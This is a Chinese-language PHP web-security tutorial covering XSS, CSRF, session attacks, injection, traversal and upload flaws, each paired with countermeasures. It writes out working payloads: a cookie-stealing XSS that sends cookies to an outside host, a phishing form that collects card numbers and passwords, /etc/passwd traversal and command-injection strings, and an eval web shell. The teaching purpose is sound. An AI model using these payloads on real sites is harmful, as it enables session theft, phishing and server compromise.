PHP编码安全及常见攻击

PHP编程安全

Cookie简介

HTTP是一种无状态协议, 即不对请求和响应之间的通信状态进行保存. 也就是说, 无法根据之前的状态关联本次的请求处理. 目的是更快的处理大量事务, 确保协议的可伸缩性

为了解决这个问题, 引入Cookie. 客户端第一次访问服务时, 服务器生成Cookie, 通过响应发送给客户端, 并记录该Cookie对应的客户会话信息. 之后当客户端携带Cookie访问服务器时, 服务器就可以辨识本次请求的来源用户身份

image-20220908094428755

Web安全总览

Web攻击可分为主动攻击(Active Attack) 和 被动攻击(Passive Attack)

主动攻击

攻击者直接攻击Web服务器, 如SQL注入等

image-20220908095458915

被动攻击

攻击者不直接攻击服务器, 而是针对网站用户设下陷阱, 利用掉入陷阱的用户来获取修改用户数据或攻击应用程序

  • 模式一 单纯被动攻击

    image-20220908095818486

    用户在浏览过所谓的“可疑网站”之后会感染上恶意软件。理论上如果浏览器(包括Adobe Flash Player等插件)不存漏洞,此类单纯的被动攻击是行不通的。但现实中,浏览器以及Adobe Reader、Adobe Flash Player、JRE 等插件的漏洞却层出不穷

  • 模式二 在正规网站中设置陷阱的被动攻击

    image-20220908100156321

    攻击者示先入侵正规网站,往箕内容中嵌入恶意代码(①)。网站用户在浏览了含有恶意代码的内容后(②、③),就会感染病毒(④)。在这一流程中,单看步骤①的话似乎应归类为主动攻击,但步骤②、③均为被动攻击,因此可将①视作被动攻击的前期准备。

    设置陷阱 手法
    1 非法获取FTP等服务器密码后篡改网站内容
    2 通过攻击Web服务器的安全漏洞篡改网站内容
    3 通过SQL注入篡改网站内容
    4 在社交网络这类用户可以自己发布内容的网站, 利用跨站脚本漏洞实施攻击
  • 模式三 跨站被动攻击

    image-20220908100654086

    此类攻击的特征为,恶意利用已经在正规网站登录的用户账号来实施攻击。由于步骤③的请求中要向正规网站发送会话Cookie,因此,如果用户己经在正规网站登录,就会利用其己经登经的状态实施攻击。

    此类攻击模式的典型案例包括,在步骤③的请求中对Web应用发动攻击的跨站请求伪造(CSRF),以及在步骤④的响应中利用浏览器来执行攻击的跨站脚本攻击(XSS)HTTP消息头注入攻击

浏览器防御被动攻击

针对被动攻击,浏览器和网站都需要采取相应的防御措施。如果浏览器存在安全问题,网站方面即使实施了对策也无法完全确保安全性。

浏览器安全功能一

浏览器能在用户浏览网站的同时运行一些程序,比如JavaScript、 Java Applet、Adobe Flash Player、 ActiveX等。而为了防止恶意程序在用户的浏览器上运行,JavaScript等语言提供了一些增强安全性的功能。基本思想有如下两种:

  • CA签名确认 只有在用户确认了程序的发行方并允许运行的情况下,程序才能被运行
  • Sandbox 提供限制程序权限的沙盒环境(禁止访问本地文件/禁止使用打印机/限制网络访问)

浏览器安全功能二

同源策略 - 协议、域名(指向主机)、端口,这三个完全相同的 URL 才能称之为同源

如果同源, 在iframe外部就可以通过JS取得内部的HTML内容

  • 同源

    image-20220908105931524

  • 非同源

    image-20220908110234735

应用程序安全隐患

虽然浏览器的同源策略为抵御被动攻击设下了一道屏障,但如果应用程序中存在安全隐患,还是有可能遭受到被动攻击。跨站脚本攻击(XSS)就是典型的例子。

image-20220908112611999

Web应用功能与安全隐患关系

image-20220908112751743

Web应用可以使用 输入-处理-输出 模型表示, 从HTTP请求输入开始, 经过服务器应用的各种处理, 最后由HTTP响应进行输出. 而除了HTTP响应, 此处的输出还包括访问数据库、读写文件、收发邮件等与其他服务交流的操作

输出 安全隐患 恶意手段 数据边界符
输出HTML 跨站脚本 注入JavaScript等 <
输出HTTP消息头 HTTP消息头注入 注入响应消息头 换行符
执行SQL语句 SQL注入 注入SQL命令 '
调用Shell命令 OS命令注入 注入系统命令 ;
输出邮件头和正文 邮件头注入 注入/修改邮件头或正文 换行符

页面显示相关问题

跨站脚本XSS

通常情况下, 在Web应用的网页中, 有些部分的显示内容会依据外界输入值而发生变化(会反弹恶意代码), 而如果生成这些HTML的程序中存在问题,就会滋生跨站脚本(Cross-Site Scripting)安全隐患. 由于和知名的CSS(层叠样式表)缩写冲突, 所以经常缩写为XSS

Web应用若存XSS漏洞, 会有下列风险:

  • 用户的浏览器中运行攻击者的恶意脚本,从而导致Cookie信息被窃取,用户身份被冒名顶替
  • 攻击者能获得用户的权限来恶意使用Web应用的功能
  • 向用户显示伪造的输入表单,通过钓鱼式攻击(Phishing)窃取用户的个人信息
对象 结果
产生地点 Web应用中生成HTML和JavaScript的位置
影响范围 Web应用全体
影响类型 在网站用户的浏览器中执行JavaScript, 显示伪造的网站内容
影响程度 中 ~ 大
用户参与程度 需要: 浏览恶意网站、点击邮件附属链接、浏览已经被入侵的网站
对策概要 双引号括起属性值, 转义HTML中的特殊字符

窃取Cookie

  • 1.目标页面: 对用户输入没有做任何处理, 复现在页面上

    image-20220908124242361

  • 2.输入简单的JavaScript注入

    1
    <script> alert(document.cookie) </script>

    image-20220908124549687

  • 3.构建钓鱼页面, 诱使用户点击

    image-20220908140815830

    1
    <iframe width="300" height="200" src="http://localhost/test/WebSecure/cookie/search.php?item=<script>window.location='http://ni9ne.com.cn/collectCookie.php?sid='%2Bdocument.cookie;</script>"></iframe>
  • 4.查看结果

    image-20220908141430251

篡改网页

  • 1.目标页面

    image-20220908171049197

    image-20220908171109548

  • 2.构建钓鱼页面, 诱使用户点击

    image-20220908171448002

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    <input type="hidden" name="name" value='
    "></form>
    <form style="top:5px;left:5px;position:absolute;z-index: 99;background-color: white;" action="http://ni9ne.com.cn/phishing_order_res.php" method="POST">
    <h1>预约报名</h1>
    姓名 <input type="text" name="name" size="20" value="ni9ne"><br>
    地址 <input type="text" name="addr" size="20" value="佳园路111号"><br>
    电话 <input type="text" name="tel" size="20" value="15988954253"><br>
    银行卡号 <input type="text" name="card" size="20" value="xxxxxx"><br>
    登陆密码 <input type="text" name="pwd" size="20" value="xxxxxx"><br>
    <input type="submit" value="预约">
    <br><br><br><br>
    </form>
    '>
  • 3.用户点击, 查看结果

    image-20220908171859666

    image-20220908172054985

攻击原理:

恶意网页通过下列手段隐藏原来的form并添加新的form, 从而改变页面

1.使用 "></form> 闭合原有form元素

2.添加新的form元素, 并通过指定样式方式赢藏原有form

  • 通过固定绝对坐标方式将form固定

  • z-index 设置为最大值, 确保悬浮在原有form上方

  • 将背景指定为网站整体背景色, 隐藏原有form

3.在新的form中指定提交目标为恶意网站

href/src属性XSS

有些元素的属性值为URL, 如 a 元素的 href 属性, imgframeiframe 元素的 src 属性. 如果属性值中的URL是由外界传入, 就可能通过使用 javascript: js代码 形式的URL执行JavaScript代码.

  • 1.目标页面

    image-20220908181539429

    image-20220908181738586

  • 输入js代码

    1
    javascript:alert(document.cookie)

    image-20220908182004565

对策:

URL由程序动态生成时, 需要对其进行校验, 仅允许 http 和 https协议. 此外, 通过校验的URL还需要作为属性值进行HTML转义. 即URL属性必须满足两个条件中的一个:

  • http:https: 开头的绝对URL
  • / 开头的相对URL

JavaScript的动态生成

Web应用中, 服务器依据客户输入动态生成一部分JavaScript. 可能存在js注入风险

  • 1.目标页面

    image-20220908183951550

    image-20220908184057779

  • 输入JS代码

    1
    ');alert(document.cookie)//

    image-20220908184224255

    实际页面变为:

    image-20220908184424050

对策:

需要对JavaScript字符串进行转义, 避免单引号 ' 被作为结束边界符

  • 将数据作为js字符串进行转义
  • 将得到的结果再次进行html实体化
原字符 JavaScript转义后 HTML实体化后
< > ' " \ < > \' \" \\ &lt; &gt; \&#39; \&quot; \\

或直接使用Unicode转义, 将字母数字之外的字符转为Unicode

错误报告导致信息泄露

错误信息泄露存在以下两种状况:

  • 错误信息中含有对攻击者有帮助的应用程序内部信息
  • 通过蓄意攻击使错误信息中显示隐私信息(如用户名/密码等)

PHP可以配置关闭错误显示

1
2
# php.ini
display_errors = Off

页面显示相关问题解决方案

XSS分类

XSS主要分为反射型XSS存储型XSS

  • 反射型XSS(Reflected XSS)

    攻击用的JS代码位于攻击目标网站之外的其他网站(恶意网站或邮件中的URL)

    如窃取Cookie中使用的用户输入值确认页面

    image-20220908173455951

  • 存储型XSS (Stored XSS)

    也叫持久性XSS(Presistent XSS), 攻击用JS代码保存在攻击对象服务器上

    典型攻击对象为Web邮箱客户端及社交网站发布页

    image-20220908173536032

XSS产生根源

根本原因是在生产HTML过程中, HTML语法中的关键字(元字符)没有被正确处理, 导致HTML/JS被注入, 从而导致原有页面结构变化.

为了消除关键字的特殊意义, 将其转化为普通字符, 就需要进行转义/实体化处理

1
转义规则: http://www.w3chtml.com/html/character.html

解决方案

参数所在位置转义方式:

位置 说明 最低限度转义内容
元素内容 1.能解释Tag和字符实体
2.结束边界字符为 <
< &
属性值 1.能解释字符实体
2.结束边界字符为双引号 "
属性值用双引号括起来, < & "
属性值(URL) 同上 校验URL格式正确后按属性值规则转义
事件绑定函数 同上 转义JavaScript后按属性值规则转义
Script元素中的字符串 不能解释Tag和字符实体
结束边界字符为</
转义JavaScript并避免出现 </
  • PHP中一般使用 htmlspecialchars($string, $quote_style, $charset) 函数进行实体化转义, 如:

    1
    echo htmlspecialchars($value, ENT_QUOTES, 'UTF-8');
  • 输入校验, 通过校验用户输入值的有效性, 防御XSS攻击

  • 给Cookie添加HttpOnly属性, 禁止 JavaScript 读取Cookie信息

    1
    2
    # php.ini
    session.cookie_httponly = 1

SQL调用相关问题

SQL注入

SQL注入漏洞是由于SQL语句的调用方法不完善而产生的安全隐患. 导致的结果一般是直接对服务器的攻击, 而不需要用户的参与, 可能造成以下影响:

  • 数据库信息被窃取
  • 数据库内容被篡改
  • 登陆认证失效
  • 其他如, 服务器文件被读取/修改, 服务器程序执行
对象 结果
产生地点 调用SQL语句的地方
影响范围 所有页面
影响类型 信息泄露、篡改数据、绕过认证、浏览编辑文件
影响程度
用户参与程度 不需要
对策概要 使用静态占位符, 预编译模式运行SQL

SQL注入攻击方式多种多样 , 暂不具体展开, 后续开专题详细介绍, 应对方式一般使用静态占位符预编译即可

1
2
3
4
$sql = "select * from tb_user where name = ? and pwd = ? limit 1";
$pdo_stmt = $mysql->prepare($sql);
$pdo_stmt->execute($dataArray);
$result = $pdo_stmt->fetchAll();

其他辅助对策:

  • 不显示详细错误信息
  • 校验输入值有效性
  • 设置数据库权限

关键处理中引入的安全隐患-CSRF

关键处理中如果存在安全隐患, 可能产生跨站请求伪造(CSRF)的漏洞

关键处理 - 账号转账/发送邮件/密码更改 等一旦完成无法撤销的操作

CSRF - 跨站请求伪造Cross-Site Request Forgery

执行关键处理前, 需要确认请求确实是用户自愿发起的. 如果存在CSRF漏洞, 可能造成:

  • 攻击者使用用户的账号 下单购物/发帖
  • 攻击者删除用户账号
  • 攻击者更改用户的密码/邮箱
对象 结果
产生地点 以下任意网站上执行关键处理的页面:
- 仅使用Cookie进行会话处理的网站
- 仅依靠HTTP认证、SSL证书、手机移动ID标识用户的网站
影响范围 存在CSRF漏洞的页面
影响类型 以用户权限执行关键处理
影响程度 中 ~ 大
用户参与程度 需要 -> 点击恶意链接、浏览恶意网站
对策概要 执行关键处理前, 确认是正规用户发起请求

典型攻击模式

  • 1.目标页面

    image-20220909112236956

    image-20220909112353922

    整个页面工作流程为:

    • 确认用户登陆状态, 显示修改密码链接
    • 用户输入新密码, 通过POST将信息传入后台处理脚本
    • 后台接收数据, 修改当前用户密码并回显
  • 2.构建钓鱼页面, 诱使用户点击

    image-20220909112735590

    image-20220909112934443

  • 3.攻击流程

    image-20220909113243497

    根据同源策略, iframe外层(恶意网页) 无法读取到内部(目标网页) 的内容, 因此, CSRF攻击无法获取目标的内容, 但可以模拟用户操作, 使用当前用户的Cookie修改用户密码, 从而达到攻击目标

解决方案

防御CSRF关键为 确认关键处理的请求确实是来自正规用户自愿发起的. 因此需要执行以下两点:

  • 筛选需要防范CSRF攻击的页面(关键处理页面)
  • 使代码能判断当前操作是否为用户主观行为

确认正规用户自愿发起请求方式:

image-20220909113900268

  • 嵌入机密信息(令牌)

    1
    2
    3
    4
    5
    # 关键页面
    <input type="hidden" name="token" value="<?php echo htmlspecialchars(session_id) ?>">

    # 后台处理
    if (session_id() !== $_POST['token']) die('请从正规页面操作');
  • 再次输入密码

    发送确认短信/输入密码, 确保是用户自愿发起, 但需要保证确认密码页面是最后的执行页面, 否则可能被跳过

  • 检验Referer

    1
    if ($_SERVER['HTTP_REFERER'] !== WEB_HOST) die('REFERER检测失败');

防范策略比较

嵌入令牌 确认密码 确认REFERER
开发耗时
用户影响 增加输入密码步骤 关闭Referer用户无法使用
手机网站适用 可以 可以 不可以
建议使用位置 基本策略, 所有情况均可适用 防范他人伪装需求较强的页面 可以限定用户环境

辅助性对策

执行关键处理后, 可以向用户注册邮箱发送相关处理内容的通知, 让用户第一时间知情, 降低损害

不完善的会话管理

Web应用中经常使用会话管理机制来记忆认证结果等状态. 一般使用Cookie记忆当前会话ID, 因此, 会话ID的作用相当于获取服务器端信息的钥匙

如果由于某些原因, 用户的会话ID被第三方得知, 就会出现他人伪装用户访问的风险, 这种攻击手段就称为会话劫持

第三方获取会话ID方式

  • 预测 会话ID
  • 窃取 会话ID
  • 挟持 会话ID

image-20220907113217019

预测会话ID

如果生成会话ID的方式不妥善, 可能会被第三方预测成功, 如连续的数值, 基于日期、用户名生成, 开源软件中可预测的生成代码逻辑等

窃取会话ID

窃取会话ID方式有以下几种:

  • 生成时Cookie属性设置不妥善(httponly)

  • 明文传输, 被网络监听

  • 由于跨站脚本安全隐患泄露

  • PHP或浏览器平台安全隐患泄露

  • 会话ID在URL中使用, 经由Referer泄露(支持发布外链)

可能导致安全隐患:

  • 跨站脚本攻击(XSS)
  • HTTP消息头注入
  • 嵌入在URL中的会话ID

劫持会话ID

会话ID强制设置到用户浏览器中, 也就相当于攻击者得知了用户的会话ID, 称为 会话固定攻击(Session Fixation Attack)

安全隐患

会话ID可预测

对象 结果
产生地点 生成会话ID的地方
影响范围 Web应用使用会话管理的所有页面
影响类型 伪装用户
影响程度
用户参与程度 不需要
对策概要 停止自己实现会话管理机制, 而使用平台或语言提供的会话机制

攻击步骤:

  • 1.收集对象应用的会话ID
  • 推测会话ID生成规则
  • 在对象应用中实验生成的会话ID

常见会话ID生成方式:

会话ID一般都是基于以下内容生成:

  • 用户ID或邮箱地址

  • 远程IP地址

  • 日期与实践(UNIX时间戳或年月日时分秒字符串)

  • 随机数

image-20220909121157721

对策:

为了避免生成可预测的会话ID产生安全隐患, 应当停止自己实现会话管理机制, 而使用平台或语言提供的会话机制

会话ID嵌入URL

会话ID有时并不保存在Cookie中, 而是被保存于URL. 由于一些手机浏览器不支持Cookie, 因此这种做法也经常使用

1
http://example.com/login.php?PHPSESSID=onjic14un02ccjqilsq8uq8as0

会话ID嵌入URL可能导致会话ID经由Referer外协, 从而造成伪装攻击

对象 结果
产生地点 生成会话ID的地方
影响范围 Web应用使用会话管理的所有页面
影响类型 伪装用户
影响程度 中 ~ 大
用户参与程度 需要 -> 点击链接, 浏览邮件附属URL
对策概要 在程序中设置禁止嵌入会话ID到URL

PHP会话设置

1
2
3
4
5
6
7
# php.ini
## 使用Cookie保存会话ID, 默认On(1)
session.use_cookies = 1
## 仅将会话ID保存在Cookie, 默认On(1)
session.use_only_cookies = 1
## 自动将会话ID嵌入URL, 默认Off(0)
session.use_trans_sid = 0

配置使用效果

use_cookies use_only_cookies 会话ID保存位置
On On 会话ID仅保存在Cookie中
On Off 可以使用Cookie时保存在Cookie中,不能使用时嵌入URL
Off On 无意义组合
Off Off 始终将会话ID嵌入URL

上述情况中, session.use_trans_sid值为On时, 会话ID会自动嵌入URL, Off时, 仅在需要嵌入时, 才会嵌入

攻击案例

1
2
3
4
# php.ini
session.use_cookies = 0
session.use_only_cookies = 0
session.use_trans_sid = 1

构建钓鱼页面, 诱使用户点击

image-20220909163655413

image-20220909163754243

攻击条件

网站同时满足以下两个条件是, 存在会话ID失窃的风险

  • 能够使用被嵌入URL的会话ID
  • 存在跳转至外部网站的链接. 或用户可以发布自己的链接

对策

PHP设置仅使用Cookie保存会话ID, 不开启嵌入URL配置, 即默认配置

固定会话ID

会话攻击的另一种手段为从外部劫持会话ID, 即会话固定攻击. 攻击流程如下:

  • 1.取得目标网站的会话ID或自己指定ID
  • 2.强行将上述会话ID交给用户
  • 3.用户登陆目标Web应用
  • 4.攻击者使用该会话ID伪装用户进入Web应用

应对会话固定攻击时, 彻底杜绝步骤2比较困难, 因此一般采用用户登陆时更换其会话ID的方式

对象 结果
产生地点 进行登陆处理的页面
影响范围 Web应用使用会话管理的所有页面
影响类型 伪装用户
影响程度 中 ~ 大
用户参与程度 需要 -> 点击链接, 浏览邮件附属URL
对策概要 用户登陆时更换会话ID

攻击案例

1
2
3
4
# php.ini
session.use_cookies = 1
session.use_only_cookies = 0
session.use_trans_sid = 1
  • 1.目标页面, 登陆

    image-20220909170628330

    image-20220909170746289

  • 构建钓鱼链接, 诱使用户点击登陆

    image-20220909170828538

    image-20220909171110803

对策

由于框架/平台存在**会话采纳(Session Adoption)**机制, 会采用预先提供的会话ID来生成会话. 存在以下对策:

  • 方案一 认证登陆后更改会话ID

    PHP中可以使用函数 session_regenerate_id() , 当指定参数为ture时, 会自动生成新的会话ID. 格式如下:

    1
    bool session_regenerate_id([bool $delete_old_session = false])

    image-20220909172001418

  • 方案二 采用令牌

    登陆/注册时, 生成一个随机字符串(令牌), 将其同时保存在Cookie和会话变量中. 然后在各页面确认比较Cookie和令牌值, 如果两者一致则视为认证成功, 不一致时认证失败.

    由于只有在登陆时令牌才发布, 攻击者不经过登陆页, 无法获取令牌值, 可以成功防御会话固定攻击

    image-20220909175701763

辅助对策

如果登陆前使用了会话变量, 防范会话固定攻击比较难. 在这种状况下, 也可以使用hidden参数来传递值, 或与以下方式组合使用:

  • 不再登陆前的会话变量中存储敏感数据
  • 不使用嵌入URL的会话ID

重定向相关

Web应用中有时会重定向到外界指定的URL. 典型案例为: 在登陆页面参数中指定URL, 登陆成功后重定向到该URL.

1
https://www.google.com/accounts/ServiceLogin?continue=https://mail.google.com/mail

重定向处理时可能产生以下安全风险:

  • 自由重定向漏洞
  • HTTP消息头注入

自由重定向

有些Web应用提供了能够重定向到参数指定URL的功能, 即重定向器(Redirector), 其中能够重定向到任意域名的重定向器叫自由重定向(Open Redirect). 自由重定向可能导致用户在不知情状况下被带入其他网站, 从而遭受钓鱼攻击

对象 结果
产生地点 能够重定向到外界指定URL的页面
影响范围 Web应用的所有页面
影响类型 诱导用户到钓鱼网站, 暴露重要信息
影响程度 中 ~ 大
用户参与程度 需要 -> 点击链接, 浏览邮件附属URL
对策概要 固定重定向目标 或 白名单机制

应该评估 [自由重定向功能] 是否不可或缺, 并固定重定向目标. 实在无法固定, 可限制在运行域名范围内

攻击案例

  • 1.目标页面, 正常登陆流程

    image-20220909205057240

    image-20220909205240730

  • 2.构建钓鱼页面, 诱使用户点击

    image-20220909205436417

    image-20220909205806398

自由重定向漏洞产生的原因主要是:

1.重定向目标可以由外界指定

2.没有对重定向目标域名做校验

对策

  • 固定重定向的目标URL
  • 使用编号指定重定向目标URL
  • 校验重定向目标域名

HTTP消息头注入

HTTP消息头注入漏洞是指, 在重定向或生成Cookie等基于外部传入的参数输出HTTP响应头时查收的安全隐患. 输出响应消息头时, 通过在参数中添加换行符, 就可以实现任意添加响应消息头或伪造消息体的操作

可能造成以下影响:

  • 生成任意Cookie

  • 重定向至任意URL

  • 更改页面显示内容

  • 执行任意JS代码而造成XSS同样的损害

响应头中的换行符有特殊意义, 一个换行符代表一条属性的结束, 两个换行符代表消息头结束, 消息体开始

image-20220909212221572

请求报文格式:

image-20220909210941145

响应报文格式:

image-20220909211106387

对象 结果
产生地点 重定向或生成Cookie等基于外部传入的参数输出HTTP响应头的页面
影响范围 Web应用的所有页面
影响类型 伪装、显示伪造页面、缓存污染
影响程度 中 ~ 大
用户参与程度 需要 -> 点击链接, 浏览邮件附属URL
对策概要 不将外界传入参数作为HTTP响应头输出 或 校验重定向/生成Cookie参数中的换行符

安全隐患产生原因

HTTP响应头信息能够以文本格式逐行定义, 也就是说消息头之间以换行符分隔. 如果攻击者指定重定向目标URL或Cookie值参数中插入换行符, 且该换行符直接被作为响应输出, 就会产生HTTP消息头注入

对策

  • 对策一 不将外界参数作为HTTP响应消息头输出

    • 不直接使用URL, 而是从外界获取URL编号, 对应匹配后指定URL
    • 使用Web服务中的会话变量来移交URL
  • 对策二 校验消息头参数

    • 由专门的API进行重定向或生成Cookie

      1
      2
      header('location:' . $URL);
      setcookie();
    • 校验生成消息头参数中的换行符

cookie输出相关

用途不当

不应使用Cookie保存敏感数据, 或过于依赖Cookie中的数据. 因为Cookie是保存在客户端且可以被修改的

image-20220909213435904

除了控制消息有效期限和不同服务器件共享信息, 除此之外, 会话变量均优于使用Cookie

输出方法不当

输出Cookie时容易产生安全隐患:

  • HTTP消息头注入

  • Cookie安全属性设置不完善

    image-20220909213416045

    Cookie中包含Secure属性, 指定时仅在HTTPS传输下才会被浏览器发送至服务器. 而如果未指定安全属性, 即使应用中使用了HTTPS传输, Cookie也可能会以明文方式传输, 存在监听风险

    为解决这一问题, 最直接的对策是使用Cookie的安全属性. 如果网站中HTTP和HTTPS同时存在, 可以通过添加一个设置安全属性的令牌Cookie, 在每个HTTPS页面中确认令牌值即可

对策

  • 方案一 设置Secure属性

    1
    2
    3
    # php.ini
    session.cookie_secure = 1
    session.cookie_httponly = 1
  • 方案二 使用令牌Token

    1
    2
    $token = $_COOKIE['token'];
    if (!$token || $token != $_SESSION['token']) die('Token 验证失败');

文件处理相关

在有些Web应用中, 可以通过外接传入参数的方式来指定服务器中的文件名, 如指定模板. 可能造成以下风险

  • 目录遍历 非法访问服务器文件
  • OS命令注入 调用OS命令

目录遍历漏洞

Web应用允许外界以参数形式指定服务器文件名时, 如果没有进行充分校验, 可能造成文件被浏览、篡改或删除.

可能造成以下影响:

  • 浏览Web服务器中的文件
    • 泄露重要信息
  • 篡改/删除服务器文件
    • 篡改网页文件内容
    • 删除脚本文件或配置文件导致宕机
    • 通过篡改脚本文件在服务器上执行任意脚本

防范目录遍历漏洞, 有如下方式(多选一):

  • 避免由外界指定文件名
  • 文件名中不允许包含目录
  • 限定文件名中仅包含数字和字母
对象 结果
产生地点 允许外界以参数形式指定服务器文件名的页面
影响范围 Web应用的所有页面
影响类型 泄露隐私信息、篡改删除信息、执行脚本、宕机
影响程度
用户参与程度 不需要
对策概要 - 避免由外界指定文件名
- 文件名中不允许包含目录
- 限定文件名中仅包含数字和字母

攻击案例

  • 1.目标页面

    image-20220910103711569

  • 2.请求参数变更

    1
    http://local2.project.com/?tpl=../../../../etc/passwd

    image-20220910103756231

对策

实施以下任一项:

  • 避免由外界指定文件名

    • 固定文件名
    • 将文件名保存在会话变量中
    • 不直接指定文件名, 而是使用编号的间接指定
  • 文件名中不允许包含目录

    • ```php
      $tpl = basename($_GET[‘tpl’]);
      1
      2
      3
      4
      5
      6
      7

      - 限定文件名中仅包含数字和字母

      - ```php
      if (!preg_match('/\A[a-z0-9]+\.html\z/ui', $tpl)){
      die('tpl仅能使用数字和字母');
      }

内部文件被公开

Web服务器中的公开目录有时会防止对外保密的文件. 外界一旦得知文件URL, 就能浏览内部文件, 所以, 一般不在公开目录中放置内部文件, 或直接禁用目录列表功能

对象 结果
产生地点 网站全体
影响范围 仅限于被公开文件
影响类型 泄露隐私信息
影响程度
用户参与程度 不需要
对策概要 不在公开目录中放置内部文件, 或直接禁用目录列表功能

image-20220910104559023

1
2
3
4
5
6
7
8
9
10
# Apache中编辑httpd.conf禁用目录列表
<VirtualHost *:80>
ServerName ni9ne.com.cn
DocumentRoot "D:/wamp64/www/test/WebSecure/web"
<Directory "D:/wamp64/www/test/WebSecure/web/">
Options +Includes +FollowSymLinks +MultiViews # 去除[+Indexes]配置
AllowOverride All
Require all granted
</Directory>
</VirtualHost>

调用OS命令相关问题

Web开发中, 大部分语言都支持通过shell执行OS(操作系统)命令. 当编码时通过shell执行OS命令或某个方法内部使用shell. 就可能出现OS命令被任意执行的情况, 即OS命令注入

OS命令注入

  • 1.目标页面 发送邮件

    image-20220910121843511

    image-20220910121913823

  • 2.输入注入命令

    1
    ni9ne@outlook.com;cat /etc/passwd

    image-20220910122023301

OS注入产生原因

使用Shell来启动命令, 同时也意味着可以使用连续命令, 管道符, 重定向等功能

1
2
3
4
# php 执行代码
system("echo hello > a.txt");
# 相当于Shell执行
sh -C echo hello > a.txt

如果指定OS命令参数字符串中混入了Shell的元字符, 就会导致攻击者添加的OS命令被执行. 即满足OS注入漏洞的条件包括:

  • 使用了内部调用Shell的函数 (system open等)
  • 将外界传入参数传递给内部调用Shell的函数
  • 参数中Shell的元字符没有被转义

对策

为了防范OS命令注入, 可以使用以下方法:

  • 选择不调用OS命令的实现方法

    1
    mb_send_mail($to, $content, 'From: xxx@qq.com');
  • 不将外界输入的字符串传递给命令行参数

    不将字符传放入命令, 而是通过指定消息头的方式, 由命令自行读取参数

  • 使用安全的函数对参数进行转义

    1
    escapeshellarg();

文件上传问题

针对上传的DOS攻击

使用上传功能连续发送体积巨大的文件, 可能形成网站负荷过载的DOS攻击(Denial of service Attack)

防范DOS攻击的一种有效策略为限制上传文件的容量.

PHP中的php.ini文件限制:

设置项目 说明 默认值
file_uploads 是否允许使用文件上传 On
upload_max_filesize 单个文件最大容量 2MB
max_file_uploads 单次请求最大文件上传个数 20
post_max_size POST包最大限制 8MB
memory_limit 脚本最大申请内存 128MB

Apache/Nginx中也有类似的配置项目

上传执行脚本

有些文件上传处理会将用户上传的文件保存至Web服务器的公开目录中. 如果上传了php、asp、aspx、jsp等脚本文件, 用户就可以在服务器上执行脚本, 造成与OS命令注入同样的影响

为了防范上传脚本, 可以使用以下方法:

  • 不将用户上传的文件保存在公开目录中, 浏览文件需要通过脚本实现
  • 将文件的扩展名限定为不可执行的文件
对象 结果
产生地点 提供文件上传的页面
影响范围 所有页面
影响类型 泄露隐私信息、篡改删除数据、对外发动DOS攻击的
影响程度
用户参与程度 不需要
对策概要 - 不将用户上传的文件保存在公开目录中, 浏览文件需要通过脚本实现
- 将文件的扩展名限定为不可执行的脚本文件

恶意脚本

1
@eval($_POST['shell']);

对策

  • 校验上传文件类型

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    # 匹配后缀
    $allowType = ['jpg', 'gif', 'png'];
    $allowHeader = [];
    $extension = strtolower(pathinfo($fileName, PATHINFO_EXTENSION));
    if (!in_array($extension, $allowType)){
    die('文件格式不允许上传');
    }
    # 匹配字节头
    $allowHeader = [IMAGETYPE_GIF, IMAGETYPE_JPEG, IMAGETYPE_PNG];
    $type = getimagesize($filename)[2];
    if (!in_array($type, $allowHeader)){
    die('文件格式不允许上传');
    }

诱使用户下载恶意文件

include相关问题

PHP等脚本语言能够从外部文件读取脚本源代码的一部分. 对应的关键字包括

1
require ;  require_once ; include ; include_once ;

如果外界能够制定include的对象文件名, 就可能造成意料之外的文件被include而遭受攻击. 即文件包含漏洞. 在PHP的配置中, 还能开启配置, 可以指定外部服务器的URL作为包含文件, 可能存在远程文件包含风险(RFI)

1
2
# php.ini
allow_url_include = Off

为了防范文件包含漏洞, 可以采取以下措施:

  • 避免include的路径中包含外界传入的参数
  • include路径包含参数时, 限制字符种类仅为数字和字母
对象 结果
产生地点 include读取脚本的页面
影响范围 所有页面
影响类型 泄露隐私信息、篡改删除数据、对外发动DOS攻击的
影响程度
用户参与程度 不需要
对策概要 - 避免include的路径中包含外界传入的参数
- include路径包含参数时, 限制字符种类仅为数字和字母

eval相关问题

如果eval 函数使用不当, 可能导致外界传入脚本被执行, 即eval注入攻击

为避免出现风险, 可采取以下措施:

  • 不使用eval或eval相当的功能
  • 避免eval的参数包含外界传入的参数
  • eval参数中包含外界传入参数时, 校验参数, 限定为仅含数字字母
对象 结果
产生地点 使用eval或eval相当的功能的页面
影响范围 所有页面
影响类型 泄露隐私信息、篡改删除数据、对外发动DOS攻击的
影响程度
用户参与程度 不需要
对策概要 - 不使用eval或eval相当的功能
- 避免eval的参数包含外界传入的参数
- eval参数中包含外界传入参数时, 限定为仅含数字字母